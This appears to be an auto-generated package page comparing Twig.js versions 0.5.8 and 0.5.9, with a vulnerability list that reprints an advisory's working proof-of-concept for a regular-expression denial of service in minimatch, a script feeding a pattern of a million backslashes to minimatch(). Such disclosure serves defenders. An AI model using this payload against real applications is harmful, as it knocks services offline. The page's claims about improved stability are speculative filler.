Twig is a JavaScript templating engine, porting the popular PHP Twig library to the client-side and server-side JavaScript environments. Version 0.5.9 arrived on August 17, 2013, succeeding version 0.5.8, released on May 8, 2013. Both rely on the same core dependencies: walk for directory traversal and minimatch for file matching, ensuring backwards compatibility in these foundation libraries.
Key differences between 0.5.8 and 0.5.9 lie in their development dependencies, impacting the tooling used during the development and testing phases of the library itself. Notably, Mocha, a JavaScript test framework, saw an update from version 1.7.x to 1.12.x. Docco, a documentation generator, also shifted from version 0.4.x to 0.6.x. Uglify-js, a JavaScript parser, mangler/compressor/beautifier toolkit, had a explicit version on new version that let developers be more confident about its stability.
These updates imply improvements in testing methodologies and documentation within the Twig project itself. For developers utilizing Twig, version 0.5.9 likely incorporates more robust tests and potentially better documentation compared to 0.5.8. It's a benefit that lead to a improved stability.
All the vulnerabilities related to the version 0.5.9 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.